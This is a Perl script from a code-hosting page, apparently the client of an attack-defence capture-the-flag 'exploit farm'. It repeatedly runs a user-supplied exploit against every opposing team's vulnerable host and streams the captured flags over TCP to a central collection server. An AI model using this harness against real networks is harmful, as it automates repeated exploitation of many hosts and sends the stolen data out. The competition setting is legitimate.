PageRenderTime 24ms CodeModel.GetById 20ms RepoModel.GetById 1ms app.codeStats 0ms

/client-unix/run_me.pl

http://exploitfarm.googlecode.com/
Perl | 177 lines | 134 code | 33 blank | 10 comment | 9 complexity | 0055d05c6d3d52669e0f533a9e498d0c MD5 | raw file
  1. #!/usr/bin/perl
  2. $|++;
  3. ### Change this
  4. our $exploit='./exploit'; #Exploit file name!
  5. our $exploit_name='EXPLOIT_NAME'; #<<<<<<<<< Won`t work if you don`t change it!
  6. ### Do not touch!
  7. our $server_ip='10.15.1.130';
  8. our $server_port=62674;
  9. our $logs_dir='logs';
  10. our $log=$logs_dir . '/' . $exploit . '.txt';
  11. our $exploit_timeout=20;
  12. our $sleep_before_next_loop=1;
  13. our $teams_file='teams.txt';
  14. our $vulnerable_box_suffix='3'; ###<<<!
  15. our %teams_pid;
  16. our %exploit_id;
  17. use lib 'mods';
  18. use viable_socket;
  19. use POSIX ":sys_wait_h";
  20. use POSIX;
  21. use Socket;
  22. die 'Change $exploit_name !' if ($exploit_name eq 'EXPLOIT_NAME');
  23. start();
  24. $SIG{CHLD} = \&REAPER;
  25. serve();
  26. sub REAPER
  27. {
  28. my $child;
  29. my $team;
  30. # If a second child dies while in the signal handler caused by the
  31. # first death, we won't get another signal. So must loop here else
  32. # we will leave the unreaped child as a zombie. And the next time
  33. # two children die we get another zombie. And so on.
  34. while (($child = waitpid(-1,WNOHANG)) > 0)
  35. {
  36. #$Kid_Status{$child} = $?;
  37. my $status=$?;
  38. $team=$teams_pid{$child};
  39. print "-- Team $team loop end. Status: $status\n";
  40. print "Somthing wrong in script with team $team\n" if ($status != 0);
  41. delete $teams_pid{$child};
  42. doit_start($team);
  43. }
  44. $SIG{CHLD} = \&REAPER; # still loathe sysV
  45. }
  46. sub alarmer
  47. {
  48. print "In process $$ team $team killing $exploit_pid\n";
  49. kill TERM,$exploit_pid;
  50. sleep(1);
  51. kill KILL,$sxploit_pid;
  52. close($exploit_fd);
  53. }
  54. $SIG{CHLD} = \&REAPER;
  55. $SIG{ALRM} = \&alarmer;
  56. sub make_socket
  57. {
  58. my $sock;
  59. my $remote = $server_ip;
  60. my $port = $server_port;
  61. my $iaddr = inet_aton($remote) or die("no host: $remote");
  62. my $paddr = sockaddr_in($port, $iaddr);
  63. my $proto = getprotobyname('tcp');
  64. socket($sock, PF_INET, SOCK_STREAM, $proto) or die("socket: $!");
  65. connect($sock, $paddr) or die("connect: $!");
  66. select $sock;
  67. $|++;
  68. select STDOUT;
  69. print $sock "$exploit_name $team\r\n";
  70. return $sock;
  71. }
  72. sub send_flag
  73. {
  74. my $flag=shift;
  75. $server->print("$flag\r\n");
  76. }
  77. sub doit_one
  78. {
  79. our $team=shift;
  80. my $e;
  81. our $server=new viable_socket(\&make_socket);
  82. while(1)
  83. {
  84. print ">>>Team $team next loop!\n";
  85. our $exploit_fd;
  86. our $exploit_pid=open $exploit_fd,"$exploit $team 2>> $log |";
  87. alarm($exploit_timeout);
  88. while(<$exploit_fd>)
  89. {
  90. alarm 0;
  91. s/[\r\n]+$//g;
  92. send_flag($_);
  93. alarm($exploit_timeout);
  94. }
  95. alarm 0;
  96. close($exploit_fd);
  97. my $status=$?;
  98. # print "\t\tTeam $team ends loop and relaxing a bit before next\n";
  99. sleep($sleep_before_next_loop);
  100. # print "\t\tTeam $team > next loop!\n";
  101. }
  102. exit($status);
  103. }
  104. sub doit_start
  105. {
  106. my $team=shift;
  107. my $pid=fork();
  108. if ($pid > 0) #parent
  109. {
  110. $teams_pid{$pid}=$team;
  111. }elsif ($pid==0) #child
  112. {
  113. doit_one($team);
  114. }else #error
  115. {
  116. print "Internal Error: Can`t fork!\n";
  117. return 1;
  118. }
  119. return 0;
  120. }
  121. sub start
  122. {
  123. print "Starting...\n";
  124. open F,$teams_file or die "Can`t open team file '$teams_file' : $!\n";
  125. while (<F>)
  126. {
  127. next if (/^#/);
  128. chomp;
  129. /^(.+?)\t+(.+)$/;
  130. $t=$1;
  131. $ip=$2;
  132. next if ($t =~ /^$team$/i);
  133. $ip.=$vulnerable_box_suffix;
  134. print "Starting '$1' team, IP: '$ip'\n";
  135. doit_start($ip);
  136. }
  137. }
  138. sub serve
  139. {
  140. while (1)
  141. {
  142. sleep 12000; #do nothing :) Just waiting for signal
  143. }
  144. }